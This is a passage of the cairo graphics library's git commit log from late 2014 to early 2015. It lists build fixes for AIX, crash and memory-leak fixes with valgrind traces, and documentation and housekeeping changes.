    2b3d8de11a536d668084ea6d2bf295da1d1cdc11, but the documentation was
    not updated. Moreover, the header of KNOWN_ISSUES was 1.10-specific.
    
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 KNOWN_ISSUES | 10 ----------
 1 file changed, 10 deletions(-)

commit c45e323555356da0b509c3bb380ccb08b4dea9db
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Tue Mar 10 04:45:18 2015 -0700
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Tue Mar 10 10:55:55 2015 -0700

    NEWS: Finish filling in changes

 NEWS | 27 +++++++++++++++++++++++++--
 1 file changed, 25 insertions(+), 2 deletions(-)

commit 79dbe1bad8089aa3e0b9a9a63443a74cd9e22f32
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Sat Mar 7 00:30:40 2015 -0800
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Sat Mar 7 00:30:40 2015 -0800

    NEWS: Update for changes through Nov 2014

 NEWS | 47 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

commit 581f8137052db60d072ee5a4cefdf7292cddab05
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Fri Mar 6 23:54:49 2015 -0800
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Fri Mar 6 23:54:49 2015 -0800

    HACKING: Add link to git tutorial and wordsmith a bit

 HACKING | 18 ++++++++----------
 1 file changed, 8 insertions(+), 10 deletions(-)

commit c0458b456007f718747be7fd690e674df5026059
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Fri Mar 6 23:31:25 2015 -0800
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Fri Mar 6 23:35:34 2015 -0800

    csi-trace:  Add --version and --help args to utility

 util/cairo-script/csi-trace.c | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

commit 3a7d411539975728f90b7d0bb55e3bee2e8600bb
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Fri Mar 6 22:26:22 2015 -0800
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Fri Mar 6 23:35:34 2015 -0800

    Revert "xlib: Remove queued event from _XReadEvents"
    
    This reverts commit e7fc8f405beeeb1048f69fe22923170a137b805e.

 src/cairo-xlib-surface-shm.c | 5 -----
 1 file changed, 5 deletions(-)

commit c3605bd3adcae1f12731230a1ea599d15e3c8cad
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Fri Mar 6 23:29:53 2015 -0800
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Fri Mar 6 23:29:53 2015 -0800

    git-ignore: Add build's test-driver

 build/.gitignore | 2 ++
 1 file changed, 2 insertions(+)

commit 246d5c1d477cc246788f5695a08c4c414a36fbf5
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Fri Mar 6 19:14:58 2015 -0800
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Fri Mar 6 19:19:13 2015 -0800

    doc: Drop extraneous para's
    
    These may have been required in the past, but just trip up distcheck
    today.  The generated docs still look fine.

 src/cairo-version.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

commit e4f6d07efbf37513b1f2341091839d66b94e3355
Author:     Bryce Harrington <b.harrington@samsung.com>
AuthorDate: Fri Mar 6 18:34:07 2015 -0800
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Fri Mar 6 18:34:07 2015 -0800

    gitignore: logs, manuals

 .gitignore | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit e7fc8f405beeeb1048f69fe22923170a137b805e
Author:     Henry (Yu) Song <henry.song@samsung.com>
AuthorDate: Thu Mar 5 00:20:42 2015 +0000
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Thu Mar 5 17:27:14 2015 -0800

    xlib: Remove queued event from _XReadEvents
    
    Following patch fixes a memory leak in xlib surface.
    
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-xlib-surface-shm.c | 5 +++++
 1 file changed, 5 insertions(+)

commit 4e680ff4bb3a5089b2ec40a96f8e292aa3cfe5f4
Author:     Michael Haubenwallner <michael.haubenwallner@ssi-schaefer.com>
AuthorDate: Fri Feb 27 14:25:41 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Thu Mar 5 17:03:32 2015 -0800

    headers: fix include order for AIX, bug#89354
    
    also for cairo-xcb-private.h

 src/cairo-xcb-private.h | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit 733de40e876f41ae390ae06fdf9789a48651a4e9
Author:     Michael Haubenwallner <michael.haubenwallner@ssi-schaefer.com>
AuthorDate: Fri Feb 27 11:22:04 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Thu Mar 5 17:03:28 2015 -0800

    headers: fix include order for AIX, bug#89354

 src/cairo-ft-private.h           | 2 +-
 src/cairo-xlib-private.h         | 2 +-
 src/cairo-xlib-surface-private.h | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

commit 94d30d7160bc1dfabac22ffb9cc810ceb9a35ead
Author:     Michael Haubenwallner <michael.haubenwallner@ssi-schaefer.com>
AuthorDate: Thu Feb 26 15:11:05 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Thu Mar 5 17:03:18 2015 -0800

    perf: fix include order for AIX, bug#89354

 perf/cairo-perf-report.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 15c427bc771e8a7018718eca3855f7de39438457
Author:     Michael Haubenwallner <michael.haubenwallner@ssi-schaefer.com>
AuthorDate: Thu Feb 26 16:00:01 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Thu Mar 5 17:02:23 2015 -0800

    perf/micro: fix include order for AIX, bug#89354

 perf/micro/disjoint.c              | 2 +-
 perf/micro/hatching.c              | 2 +-
 perf/micro/pattern_create_radial.c | 2 +-
 perf/micro/spiral.c                | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

commit 0916d580db94bccbf8d31cc58a8198a0c1f8b309
Author:     Michael Haubenwallner <michael.haubenwallner@ssi-schaefer.com>
AuthorDate: Thu Feb 26 15:03:43 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Thu Mar 5 17:02:14 2015 -0800

    test: fix include order for AIX, bug#89354

 test/clip-nesting.c                            | 2 +-
 test/clip-operator.c                           | 2 +-
 test/close-path.c                              | 2 +-
 test/composite-integer-translate-over-repeat.c | 2 +-
 test/composite-integer-translate-over.c        | 2 +-
 test/composite-integer-translate-source.c      | 2 +-
 test/copy-path.c                               | 2 +-
 test/extend-pad-border.c                       | 2 +-
 test/extend-pad-similar.c                      | 2 +-
 test/extend-pad.c                              | 2 +-
 test/extend-reflect.c                          | 2 +-
 test/extended-blend.c                          | 2 +-
 test/mask.c                                    | 2 +-
 test/multi-page.c                              | 4 ++--
 test/operator-clear.c                          | 2 +-
 test/operator-source.c                         | 2 +-
 test/path-append.c                             | 2 +-
 test/pattern-getters.c                         | 2 +-
 test/pdf-features.c                            | 4 ++--
 test/pixman-downscale.c                        | 4 ++--
 test/pixman-rotate.c                           | 4 ++--
 test/ps-features.c                             | 4 ++--
 test/record-extend.c                           | 2 +-
 test/record-mesh.c                             | 2 +-
 test/select-font-no-show-text.c                | 2 +-
 test/self-copy.c                               | 2 +-
 test/source-clip-scale.c                       | 2 +-
 test/source-clip.c                             | 2 +-
 test/surface-pattern-scale-down.c              | 2 +-
 test/surface-pattern-scale-up.c                | 2 +-
 test/surface-pattern.c                         | 2 +-
 test/svg-clip.c                                | 3 ++-
 test/svg-surface.c                             | 3 ++-
 test/trap-clip.c                               | 2 +-
 test/unbounded-operator.c                      | 2 +-
 test/user-font-mask.c                          | 4 ++--
 test/user-font-proxy.c                         | 4 ++--
 test/user-font.c                               | 4 ++--
 test/xcb-snapshot-assert.c                     | 2 +-
 test/xlib-expose-event.c                       | 2 +-
 test/xlib-surface.c                            | 3 ++-
 41 files changed, 52 insertions(+), 49 deletions(-)

commit e9a615a2f94697c64a6702c1e3b24c59b156cc71
Author:     Michael Haubenwallner <michael.haubenwallner@ssi-schaefer.com>
AuthorDate: Thu Feb 26 16:24:55 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Thu Mar 5 16:57:09 2015 -0800

    define _GETDELIM for getline() on AIX
    
    On AIX 6.1, getdelim() and getline() are not provided by default,
    causing a gcc compilation error.  With _GETDELIM defined, AIX's stdio.h
    header provides definitions for these routines.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=89356
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 perf/cairo-perf-report.c | 2 ++
 1 file changed, 2 insertions(+)

commit f72bd7c7574fc8fdc1f495f3a50111329851edc5
Author:     Michael Haubenwallner <michael.haubenwallner@ssi-schaefer.com>
AuthorDate: Thu Feb 26 15:23:01 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Thu Mar 5 14:48:28 2015 -0800

    skip MAP_NORESERVE when unsupported
    
    Fixes a compilation on AIX ('MAP_NORESERVE' undeclared)
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=89340
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 test/cairo-test-trace.c    | 4 ++++
 util/cairo-sphinx/sphinx.c | 4 ++++
 2 files changed, 8 insertions(+)

commit ac75ab9f30ef10ee5973d42223f4b51acca93333
Author:     Michael Haubenwallner <michael.haubenwallner@ssi-schaefer.com>
AuthorDate: Thu Feb 26 14:18:30 2015 +0100
Commit:     Bryce Harrington <b.harrington@samsung.com>
CommitDate: Thu Mar 5 12:00:48 2015 -0800

    fix conflicting types for 'sync' on AIX, bug#89338

 src/cairo-surface-observer.c | 12 ++++++------
 src/cairo-xlib-surface-shm.c |  4 ++--
 2 files changed, 8 insertions(+), 8 deletions(-)

commit 70cc8f250b5669e757b4f044571ba0f71e3dea9e
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Tue Dec 9 16:13:00 2014 +0100
Commit:     Andrea Canciani <ranma42@dhcp-131-114-88-208.di.unipi.it>
CommitDate: Thu Feb 5 15:13:46 2015 +0100

    quartz: Remove call to obsolete CGFontGetGlyphPath
    
    CGFontGetGlyphPath was not public and is not available anymore on
    modern OSX/iOS systems. The same functionality is available through
    the CoreText API since OSX 10.5.
    
    Based on a patch by Simon Cozens.
    
    Fixes https://bugs.freedesktop.org/show_bug.cgi?id=84324

 src/cairo-quartz-font.c | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

commit 91f128bf7a1233a7fc2e164f95279987e32a3532
Author:     Massimo Valentini <mvalentini@src.gnome.org>
AuthorDate: Wed Sep 11 18:10:38 2013 +0200
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Feb 2 16:33:06 2015 -0800

    win32:  Fix crash from win32 surface's image size too small
    
    Beginning in 1.12, a crash can occur when the win32 surface's image size
    does not cover the entire surface (e.g. due to clipping regions).
    
    This patch enlarges the fallback surface created of the amount
    necessary not to write past the end of the DIB. It assumes that
    Clip applied to an HDC are clamped to (0,0,width,height) of the HDC.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=53121
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/win32/cairo-win32-display-surface.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

commit cca8b1960b0091c53235d9dc4cde8a33010c5bbf
Author:     Emanuele Aina <emanuele.aina@collabora.com>
AuthorDate: Tue Dec 16 14:58:55 2014 +0100
Commit:     Andrea Canciani <ranma42@gmail.com>
CommitDate: Tue Jan 20 18:14:52 2015 +0100

    cairo-trace: Fix duplicated surface push on similar-image
    
    The current code results in trace lines with the source surface being
    pushed on the stack two times instead of one:
    
    s1 s1 //ARGB32 48 48 similar-image % s2
    
    Instead of:
    
    s1 //ARGB32 48 48 similar-image % s2
    
    This greatly confuses later commands when the script was replayed,
    causing traces for trivial GTK3 programs to be unplayable, usually
    yielding the following error:
    "invalid value (typically too big) for the size of the input (surface, pattern, etc.)"
    
    Drop the duplicated entry from the trace line printed by the
    cairo_surface_create_similar_image() override.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=73580
    Signed-off-by: Emanuele Aina <emanuele.aina@collabora.com>

 util/cairo-trace/trace.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

commit ebd23accc8722db838f6db12f7489f16fe6016ce
Author:     Uli Schlachter <psychon@znc.in>
AuthorDate: Sat Dec 6 17:04:07 2014 +0100
Commit:     Uli Schlachter <psychon@znc.in>
CommitDate: Sat Jan 17 20:12:39 2015 +0100

    xlib-xcb: Don't be lazy and use the real xcb_screen_t
    
    Signed-off-by: Uli Schlachter <psychon@znc.in>

 src/cairo-xlib-xcb-surface.c | 33 ++++++++++++++++++---------------
 1 file changed, 18 insertions(+), 15 deletions(-)

commit b47209a03feeed2172f35a6d79ba1176fedd5e17
Author:     Uli Schlachter <psychon@znc.in>
AuthorDate: Sat Dec 6 16:04:46 2014 +0100
Commit:     Uli Schlachter <psychon@znc.in>
CommitDate: Sat Jan 17 20:11:59 2015 +0100

    xcb: Query the display's subpixel order via RENDER
    
    With commit e691d242, the xcb backend started parsing the resources, just like
    cairo-xlib does. One behavior from cairo-xlib was missing: If no Xft.rgba
    property was specified, cairo-xlib defaults to the screen's subpixel order.
    This commit brings that last bit of functionality to cairo-xcb (but currently
    disabled due to commit e0c0a673).
    
    This commits adds a new array to cairo_xcb_connection_t that contains the
    subpixel order for each screen. There is also a new member in cairo_xcb_screen_t
    which contains the subpixel order of that screen and which is initialized from
    the array when the screen is constructed. With this in place, the
    resource-parsing code can just pick the subpixel order from the screen if
    needed.
    
    Signed-off-by: Uli Schlachter <psychon@znc.in>

 src/cairo-xcb-connection.c | 19 +++++++++++++++++++
 src/cairo-xcb-private.h    |  4 +++-
 src/cairo-xcb-resources.c  | 33 +++++----------------------------
 src/cairo-xcb-screen.c     | 16 ++++++++++++++++
 4 files changed, 43 insertions(+), 29 deletions(-)

commit 02e4efc961be40d266d4df0acaf3271219529017
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Mon Dec 22 12:49:00 2014 +0100
Commit:     Andrea Canciani <ranma42@gmail.com>
CommitDate: Sat Jan 3 14:59:51 2015 +0100

    font: Actually perform destruction of fonts
    
    Commit 337ab1f8d9e29086bfb4001508b28835b41c6390 introduced delayed
    font destruction to overcome a race, but prevented the correct cleanup
    of the font cache.
    
    This caused fonts to stay in the cache and caused a crash in the
    api-special-cases (when running the test suite with -f).
    
    Fixes api-special-cases,
    https://bugs.freedesktop.org/show_bug.cgi?id=87567

 src/cairo-font-face.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

commit 028d286e611d46755bb3d1e9932805de2ec35765
Author:     Chris Wilson <chris@chris-wilson.co.uk>
AuthorDate: Wed Dec 31 10:54:43 2014 +0000
Commit:     Chris Wilson <chris@chris-wilson.co.uk>
CommitDate: Wed Dec 31 11:01:45 2014 +0000

    xlib: Bump reference count for recording surface replays
    
    The snapshot takes a reference to the target recording surface in order
    to enable it for use by multiple treads. In order to balance this, the
    other two sources of recording surface must also take a reference and
    for us to release that reference after the replay.
    
    Otherwise, we end up with a memory leak:
    
    ==1== 1,392 bytes in 3 blocks are definitely lost in loss record 1 of 7
    ==1==    at 0x4A06BCF: malloc (in /usr/lib64/valgrind/vgpreload_memcheck-amd64-linux.so)
    ==1==    by 0x4C7042D: _cairo_recording_surface_snapshot (cairo/src/cairo-recording-surface.c:1427)
    ==1==    by 0x4C842BE: _cairo_surface_snapshot_copy_on_write (cairo/src/cairo-surface-snapshot.c:189)
    ==1==    by 0x4C7E7E0: _cairo_surface_detach_snapshot (cairo/src/cairo-surface.c:348)
    ==1==    by 0x4C7E55B: _cairo_surface_detach_snapshots (cairo/src/cairo-surface.c:333)
    ==1==    by 0x4C7E55B: _cairo_surface_flush (cairo/src/cairo-surface.c:1545)
    ==1==    by 0x4C7E6CC: _cairo_surface_finish_snapshots (cairo/src/cairo-surface.c:1017)
    ==1==    by 0x4C7E6CC: cairo_surface_destroy (cairo/src/cairo-surface.c:961)
    ==1==    by 0x4C625A7: cairo_pattern_destroy (cairo/src/cairo-pattern.c:1131)
    ==1==    by 0x4C3FAC6: _cairo_gstate_fini (cairo/src/cairo-gstate.c:225)
    ==1==    by 0x4C3C68C: _cairo_default_context_fini (cairo/src/cairo-default-context.c:75)
    ==1==    by 0x4C3C708: _cairo_default_context_destroy (cairo/src/cairo-default-context.c:93)
    ==1==    by 0x43E576: record_get (cairo/test/record-extend.c:158)
    ==1==    by 0x43E576: record_replay (cairo/test/record-extend.c:173)
    ==1==    by 0x40E22D: cairo_test_for_target (cairo/test/cairo-test.c:929)
    ==1==    by 0x40E22D: _cairo_test_context_run_for_target (cairo/test/cairo-test.c:1532)
    ==1==    by 0x40B6C0: _cairo_test_runner_draw (cairo/test/cairo-test-runner.c:255)
    ==1==    by 0x40B6C0: main (cairo/test/cairo-test-runner.c:937)
    
    Reported-by: Massimo Valentini <mvalentini@src.gnome.org>
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=87898
    Signed-off-by: Chris Wilson <chris@chris-wilson.co.uk>

 src/cairo-xlib-source.c | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

commit 4a225fca5f121c31ddaa0af80a13bf95a7f21a5b
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Thu Nov 20 17:22:30 2014 +0100
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Sat Dec 6 17:38:02 2014 -0800

    test: Free test list
    
    When running the cairo-test-suite, valgrind reports each of the
    registered test as a leak, because they are _list_prepend()'ed, but
    the tests list is never _list_free()'d.
    
    Fixes the following valgrind error:
    
    malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
    cairo_boilerplate_xmalloc (cairo-boilerplate-system.c:47)
    cairo_test_register (cairo-test-runner.c:131)
    _cairo_test_runner_register_tests (cairo-test-constructors.c:1112)
    main (cairo-test-runner.c:714)
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 test/cairo-test-runner.c | 1 +
 1 file changed, 1 insertion(+)

commit 9806f437b42056124314976f35a2d32cefa508a8
Author:     Andrea Canciani <ranma42@gmail.com>
AuthorDate: Thu Nov 20 17:22:31 2014 +0100
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Sat Dec 6 17:38:02 2014 -0800

    test: Release owned pattern
    
    The pattern created by cairo_pattern_create_rgb() is owned by the
    caller, hence it needs to be released.
    
    Fixes the following valgrind error:
    
    malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
    _cairo_pattern_create_solid (cairo-pattern.c:605)
    _cairo_pattern_create_in_error (cairo-pattern.c:628)
    cairo_pop_group (cairo.c:552)
    test_cairo_push_group (api-special-cases.c:157)
    preamble (api-special-cases.c:1766)
    main (cairo-test-runner.c:228)
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 test/api-special-cases.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

commit 40201f4b1ab52c85922b2b7ae05dd862159a1aa0
Author:     Uli Schlachter <psychon@znc.in>
AuthorDate: Fri Dec 5 14:43:26 2014 +0100
Commit:     Uli Schlachter <psychon@znc.in>
CommitDate: Sat Dec 6 10:25:30 2014 +0100

    tor-scan-converter: Correctly align 64bit types
    
    On 32bit SPARC the scan converter was causing a SIGBUS due to an unaligned
    memory access while accessing an int64_t. This memory accessing was to struct
    quorem's rem member.
    
    This crash occurred because the tor-scan-converter contains its own
    implementation of a memory pool. This implementation only guarantees an
    alignment of sizeof(void *), which is less than what a 64 bit type requires on
    32bit platforms. This 4 byte alignment is guaranteed, because struct _pool_chunk
    (which is the struct that is used for managing free space) contains elements of
    that size and so the size of that struct is a multiple of this size as well.
    
    This problem was introduced with commit 03c3d4b7c15.
    
    To fix this problem, this commit introduces a int64_t member to struct
    _pool_chunk that marks the beginning of the free data space. Thanks to this, the
    compiler ensures proper alignment and sizeof(struct _pool_chunk) becomes a
    multiple of 8.
    
    However, previously the end of the struct marked the beginning of the data and
    sizeof() was used for correctly calculating offsets to the data section. So,
    just adding such a member would work, but would also waste some memory. To avoid
    this, this commit also changes the rest of the pool implementation to
    accommodate.
    
    Reported-by: Nicolas Setton <setton@adacore.com>
    Signed-off-by: Uli Schlachter <psychon@znc.in>
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-tor-scan-converter.c | 38 +++++++++++++++++++++++---------------
 1 file changed, 23 insertions(+), 15 deletions(-)

commit 5c82d91a5e15d29b1489dcb413b24ee7fdf59934
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Dec 3 19:28:15 2014 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Dec 5 19:16:43 2014 -0800

    image: Fix crash in _fill_xrgb32_lerp_opaque_spans
    
    If a span length is negative don't go out of bounds processing the fill
    data.
    
    Patch thanks to Ilya Sakhnenko <ilia.softway@gmail.com> on mailing list.
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-image-compositor.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit 56da7adc3c85be0325481ecd23746dc49e60d239
Author:     Hans Breuer <hans@breuer.org>
AuthorDate: Thu Oct 16 20:51:07 2014 +0200
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Nov 20 12:26:52 2014 -0800

    win32: Fix compilation of 'cairo-path-stroke-traps.c' with MSVC8
    
    "The issue here is that Visual Studio 2005+ is quite strict on type
    conversions (so it wants code to be clear enough on conversions)."
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=84908

 src/cairo-path-stroke-traps.c | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

commit 2c5af590ddbb08e0a46b7e37c5f0230b1805cd37
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Nov 20 12:19:47 2014 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Nov 20 12:22:06 2014 -0800

    Refactor ARRAY_LENGTH macro definitions in test code

 boilerplate/cairo-boilerplate-pdf.c     | 2 --
 boilerplate/cairo-boilerplate-private.h | 2 +-
 boilerplate/cairo-boilerplate.h         | 4 ++++
 perf/cairo-perf.h                       | 4 ----
 test/any2ppm.c                          | 2 +-
 test/cairo-test.c                       | 4 ----
 test/cairo-test.h                       | 4 ----
 7 files changed, 6 insertions(+), 16 deletions(-)

commit 7edc5a8844b96862b866901568eb83fa56f4755b
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Nov 14 18:10:16 2014 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Nov 20 12:22:06 2014 -0800

    test: Use ARRAY_LENGTH macro

 test/bug-spline.c       | 3 +--
 test/caps-tails-curve.c | 2 +-
 test/tiger.c            | 2 +-
 3 files changed, 3 insertions(+), 4 deletions(-)

commit ae608035c7b7133826a608d45e067c3875a1aceb
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Thu Nov 20 10:16:06 2014 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Thu Nov 20 10:16:06 2014 +1030

    pdf-operators: fix bug with RTL text
    
    bug 86461

 src/cairo-pdf-operators.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

commit 121f384c0e231c9c5d9c937b216d342bfc7810a6
Author:     Ravi Nanjundappa <nravi.n@samsung.com>
AuthorDate: Tue Nov 11 15:07:57 2014 +0530
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Nov 12 10:38:52 2014 -0800

    Fix one more warning from check-doc-syntax.sh
    
    $ ./check-doc-syntax.sh
    Checking documentation for incorrect syntax
    ./cairo-pattern.c (3342): ERROR: Will invalid doc id (should be 'cairo_...:')
    
    The proposed changes fixes the warning about the documentation style used in cairo.
    
    Signed-off-by: Ravi Nanjundappa <nravi.n@samsung.com>

 src/cairo-pattern.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit a03f2ff72054c9530f98738aac729354a3f56102
Author:     Adam Jackson <ajax@redhat.com>
AuthorDate: Fri Oct 31 13:21:15 2014 -0400
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Nov 6 12:56:18 2014 -0800

    xcb: Don't crash when swapping a 0-sized glyph
    
    malloc(0) needn't return NULL, and on glibc, doesn't.  Then we encounter
    a loop of the form do { ... } while (--c), which doesn't do quite what
    you were hoping for when c is initially 0.
    
    Since there's nothing to swap in this case, just bomb out.
    
    Signed-off-by: Adam Jackson <ajax@redhat.com>

 src/cairo-xcb-surface-render.c | 6 ++++++
 1 file changed, 6 insertions(+)

commit 3cf862f6d973755cd9824c2224fbe0a623c47ff1
Author:     Adam Jackson <ajax@redhat.com>
AuthorDate: Fri Oct 31 13:21:14 2014 -0400
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Nov 6 12:56:13 2014 -0800

    xlib: Don't crash when swapping a 0-sized glyph
    
    malloc(0) needn't return NULL, and on glibc, doesn't.  Then we encounter
    a loop of the form do { ... } while (--c), which doesn't do quite what
    you were hoping for when c is initially 0.
    
    Since there's nothing to swap in this case, just bomb out.
    
    Signed-off-by: Adam Jackson <ajax@redhat.com>

 src/cairo-xlib-render-compositor.c | 6 ++++++
 1 file changed, 6 insertions(+)

commit adbeb3d53c6c6e8ddcc63988200da4c5c9627717
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Fri Oct 31 22:43:32 2014 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Fri Oct 31 22:55:14 2014 +1030

    Improve performance of cpu_to_be32 and be32_to_cpu
    
    By switching to the more common form, gcc and clang emit a single
    bswap instruction and truetype subsetting of large fonts runs about
    15% faster.

 src/cairoint.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit e4b78424ac82588bcb9b855d5b6d5872050d33f9
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Fri Oct 31 19:06:42 2014 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Fri Oct 31 19:26:05 2014 +1030

    pdf-operators: only wrap text strings for PS output
    
    since the PS Document Structing Conventions impose a 255 character
    line limit. PDF does not require wrapping.
    
    pdf-operators is designed to emit the same output for PS and PDF.
    Unfortunately some PDF interpreters don't like strings split with
    '\\\n' and some PS interpreters don't like strings split with ')('.
    So we are forced to make pdf-operators handling string wrapping
    differently for PDF and PS.
    
    Bug 85662

 src/cairo-pdf-operators-private.h       |  4 +++-
 src/cairo-pdf-operators.c               | 16 ++++++++++------
 src/cairo-pdf-surface.c                 |  9 ++++++---
 src/cairo-ps-surface.c                  |  9 ++++++---
 src/cairo-type3-glyph-surface-private.h |  3 ++-
 src/cairo-type3-glyph-surface.c         |  6 ++++--
 6 files changed, 31 insertions(+), 16 deletions(-)

commit b4e218c3e8402e149115a59406796b751118237f
Author:     Bryce Harrington <bryce@bryceharrington.org>
AuthorDate: Tue Oct 21 15:26:34 2014 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Oct 29 15:45:17 2014 -0700

    Drop the target-specific huge-radial.pdf.*.ref.png images
    
    These two images are mis-rendered (clearly evident from visual
    inspection).  By removing them, the test will fall back to the more
    general format-specific images, huge-radial.argb32.ref.png and
    huge-radial.rgb24.ref.png.
    
    Note that the huge-radial.pdf tests still fail to pass, but the pdiff
    looks more sensible.
    
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=66218
    
    Signed-off-by: Bryce Harrington <bryce@bryceharrington.org>

 test/reference/huge-radial.pdf.argb32.ref.png | Bin 177382 -> 0 bytes
 test/reference/huge-radial.pdf.rgb24.ref.png  | Bin 225358 -> 0 bytes
 2 files changed, 0 insertions(+), 0 deletions(-)

commit f7d0f80d2d880bea6b2fdbff579b21100355c1be
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Oct 29 15:27:19 2014 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Oct 29 15:27:19 2014 -0700

    RELEASING: Be explicit as to which tag is pushed

 RELEASING | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit caa4c9fdeb3aecd9a4288114e75d24ec931cd01b
Author:     Ravi Nanjundappa <nravi.n@samsung.com>
AuthorDate: Mon Oct 27 10:54:13 2014 +0530
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Tue Oct 28 22:24:55 2014 -0700

    Fix warnings from check-doc-syntax.sh
    
    $ ./check-doc-syntax.sh
    Checking documentation for incorrect syntax
    ./cairo-pattern.c (3346): ERROR: Will bad line: ' */'
    ./cairo-pattern.c (3346): ERROR: Will documentation comment not closed with **/
    ./cairo-pattern.c (3422): ERROR: _cairo_pattern_sampled_area invalid doc id (should be 'cairo_...:')
    
    The warnings are about the documentation style used in cairo
    
    Signed-off-by: Ravi Nanjundappa <nravi.n@samsung.com>

 src/cairo-pattern.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit f9b65ae1fc91bc558a01c2ad7be5a121c6f10818
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Tue Oct 21 22:35:12 2014 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Tue Oct 21 22:42:34 2014 +1030

